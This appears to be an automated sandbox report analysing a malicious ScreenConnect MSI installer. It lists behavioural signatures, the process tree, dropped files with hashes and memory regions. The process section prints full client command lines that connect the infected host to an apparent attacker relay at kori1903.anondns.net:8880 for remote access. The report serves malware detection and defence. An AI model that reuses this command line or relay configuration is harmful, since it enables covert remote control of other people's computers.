Analysis

  • max time kernel
    148s
  • max time network
    122s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/07/2026, 06:35

General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 14.8MB
  • Sample260722-hclebszgla
  • SHA256 6542c312a3db4d907369d25331e256f6c57d5fa7bbe2cafc13bc55e501ce66ba
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 30 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:5576
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2920
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 7BA239A3050FECDEFE8E5E01F7731B5B C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5148
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI6C7C.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240742031 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2368
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2988
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding D1B495F264A1AF649D49ACFA13C58460
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:716
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 2FFEADA8A7A33AD67DDA32C530E2AD6E E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2516
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2348
    • C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=kori1903.anondns.net&p=8880&s=6ae864dc-bd83-4d28-b223-b8b73fe6da19&k=BgIAAACkAABSU0ExAAgAAAEAAQBFFb703CerjyrVi52FDc06b9uKtZhcBGvg7TofpmRaLbe9vZps6uCgCh1aTLxpynfhAbiOCgeD5befhBxXiYDnIU7FKiuYoP3Rjq0D7EmVCYsMRruz3YVp9c0EvbSP8KQhSm4cv2IRF7awX1auf5L0C7oVGOFgFbkJ53VLQf0VicbTgGi3uHIGD5dNHQPPim23oTnfbMjEeoPVLCfRKbO8DcSkGqbOrM9mUnik6MtY5I2yTSUM2lDFDd22uJNwMrMqDGIvreCThn1gGbJamp5XffPzYcAKAEOOV7PfzSOMF9XdPle8lCGGUN0uOeOfunw7bnVXimT7fOoCL34rEtuy&c=os&c=&c=user1&c=any&c=&c=&c=&c="
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:3432
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3432 -s 1336
        2⤵
        • Program crash
        PID:4108
    • C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=kori1903.anondns.net&p=8880&s=6ae864dc-bd83-4d28-b223-b8b73fe6da19&k=BgIAAACkAABSU0ExAAgAAAEAAQBFFb703CerjyrVi52FDc06%2b9uKtZhcBGvg7To%2fpmRaLbe9vZps6uCgCh1aTLxpynfhAbiOCgeD5%2be%2fhBxXiYDnIU7FKiuYoP3Rjq0D7EmVCYsMRruz3YVp9c0EvbSP8KQhSm4cv2IRF7awX1auf5L0C7oVGOFgFbkJ53VLQf0Vic%2bTgGi3uHIGD5dNHQPPim23oTn%2fbMjEeoPVLC%2fRK%2bO8DcSkGq%2bOrM9mUnik6MtY5I2yTSUM2lDFDd22uJNwMrMqDGIvreCThn1gG%2bJamp5XffPzYcAKAEOOV7P%2fzSOMF9XdPle8lCGGUN0uOeOfunw7%2bnVXimT7%2fOoCL34rEtuy&c=os&c=&c=user1&c=any&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3932
      • C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.WindowsClient.exe" "RunRole" "2baffd7c-be1f-4949-9838-00107f55e11e" "User"
        2⤵
        • Executes dropped EXE
        PID:4904
      • C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.WindowsClient.exe" "RunRole" "f192d22f-270a-4a1c-961d-d47299263476" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:2356
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 392 -p 3432 -ip 3432
      1⤵
        PID:3384

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            e59d2d8.rbs

            • Path C:\Config.Msi\e59d2d8.rbs
            • Size 214KB
            • SHA256 fe3f930ca2cfa1ac0aeb5a12a899356bae41fa0155cc94bbe99d0cefad5076cf
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.Override.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\Client.Override.en-US.resources
            • Size 469B
            • SHA256 cf1209424e69bab62ec7f06d0defd769102b8e6ad0996cf8c82fa453cc77d684
            • MD5 SHA1 SHA512 TLSH

            Client.Override.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\Client.Override.resources
            • Size 91KB
            • SHA256 64119fa2722dbc7cb4a451d7523c1d14c512509b8891976c82aeb3ed37c530dc
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\Client.en-US.resources
            • Size 49KB
            • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\Client.resources
            • Size 33KB
            • SHA256 e0d0e5d951ef955f22d110b65b3fedfb8b1710491563d7c541f5e3d9fd4ccee8
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Client.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.Client.dll
            • Size 202KB
            • SHA256 ea1ba32647cf18942e5d26e4d80ade8d25db7984555f55c378c9ad0d33c11271
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.ClientService.dll
            • Size 77KB
            • SHA256 84d0a414d03ab35f65cb149229ac2a64cde9b20f3cb2aba9099c71510a749fe4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 46457d98fb1c53bbccb66c1015eb831355f30c8bf8e6f25cf3183aac2a5fd8ab
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.Core.dll
            • Size 549KB
            • SHA256 6928d272bdcfb0a1739d4ffee9a1a6e230880a3ce954233a83fdc70024c1e7ad
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.Windows.dll
            • Size 1.7MB
            • SHA256 fb81fc9354d12d15f125492c74f766bb538ddc1f9748735b0bdfbf6e945175c6
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsAuthenticationPackage.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.WindowsClient.exe
            • Size 595KB
            • SHA256 3b150443fbb196446479367dc44888488045ae8eef9b872406656cf33ace2556
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe.config

            • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.WindowsClient.exe.config
            • Size 266B
            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
            • MD5 SHA1 SHA512 TLSH

            ScreenConnect.WindowsCredentialProvider.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.WindowsCredentialProvider.dll
            • Size 838KB
            • SHA256 c36e1b629985cf5379733de9c2d645446cb3333f8660bf137a46fb227ef170e4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            app.config

            • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\app.config
            • Size 3KB
            • SHA256 a6e26202c66dae6897f4229b319a946740425ef43b7053fcc9f37befe68094ef
            • MD5 SHA1 SHA512 TLSH

            system.config

            • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\system.config
            • Size 952B
            • SHA256 2a4d7310e3bb2668dd4ffe8c7d85a9808a3190b8da38ae2725822652f9d51722
            • MD5 SHA1 SHA512 TLSH

            MSI6C7C.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\MSI6C7C.tmp
            • Size 1.0MB
            • SHA256 9571cbea87aa83be41b2e63a5cd62498da91793c4fa1fc38baa07a73b1c2d02c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Microsoft.Deployment.WindowsInstaller.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI6C7C.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI6C7C.tmp-\ScreenConnect.Core.dll
            • Size 539KB
            • SHA256 613af5bfae8fb43f24c223c3aef411f532eaaf223f9f09a1dad0a4f16fb3672b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.InstallerActions.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI6C7C.tmp-\ScreenConnect.InstallerActions.dll
            • Size 11KB
            • SHA256 404b02b47b8f6fe72dd5957694810dddd3d760f530b90aade0eece30fe1950e4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI6C7C.tmp-\ScreenConnect.Windows.dll
            • Size 1.6MB
            • SHA256 0b87dd18e02ce7c363ebe016d81ebfab230230f9821554015c0a3505bf021d6f
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSIDA79.tmp

            • Path C:\Windows\Installer\MSIDA79.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH

            e59d2d7.msi

            • Path C:\Windows\Installer\e59d2d7.msi
            • Size 14.8MB
            • SHA256 6542c312a3db4d907369d25331e256f6c57d5fa7bbe2cafc13bc55e501ce66ba
            • MD5 SHA1 SHA512 SSDEEP TLSH

            metadata-2

            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 26.1MB
            • SHA256 284cd3afb41915bafee978536ac573cab8e36efe19ea727d2383d593813e1319
            • MD5 SHA1 SHA512 SSDEEP TLSH

            {2cb5bdd6-2115-4740-a2a3-6b4acaf53d1d}_OnDiskSnapshotProp

            • Path \??\Volume{c61fa831-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{2cb5bdd6-2115-4740-a2a3-6b4acaf53d1d}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 f5bf4d8e0608a9c3bb41394037ec624e55399ac800bd77131319933ea62baa5e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/2368-31-0x0000000005D80000-0x000000000633A000-memory.dmp

            memory/2368-26-0x00000000053D0000-0x000000000545E000-memory.dmp

            memory/2368-30-0x0000000005610000-0x00000000057BC000-memory.dmp

            memory/2368-18-0x00000000052F0000-0x000000000531E000-memory.dmp

            memory/2368-22-0x0000000005330000-0x000000000533A000-memory.dmp

            memory/3932-92-0x0000000004690000-0x000000000483C000-memory.dmp

            memory/3932-112-0x0000000004890000-0x00000000048C6000-memory.dmp

            memory/3932-113-0x0000000004970000-0x0000000004A02000-memory.dmp

            memory/3932-108-0x0000000004840000-0x0000000004890000-memory.dmp

            memory/3932-115-0x00000000048D0000-0x0000000004911000-memory.dmp

            memory/3932-76-0x0000000001EC0000-0x0000000001ED8000-memory.dmp

            memory/3932-117-0x0000000004B60000-0x0000000004C35000-memory.dmp

            memory/3932-88-0x0000000004450000-0x00000000044DE000-memory.dmp

            memory/4904-128-0x000000001BAB0000-0x000000001BAE6000-memory.dmp

            memory/4904-130-0x000000001C0F0000-0x000000001C29C000-memory.dmp

            memory/4904-131-0x000000001D050000-0x000000001D1D8000-memory.dmp

            memory/4904-132-0x0000000001790000-0x00000000017A8000-memory.dmp

            memory/4904-133-0x0000000002F80000-0x0000000002F98000-memory.dmp

            memory/4904-129-0x000000001BEB0000-0x000000001BF3E000-memory.dmp

            memory/4904-127-0x0000000000E70000-0x0000000000F08000-memory.dmp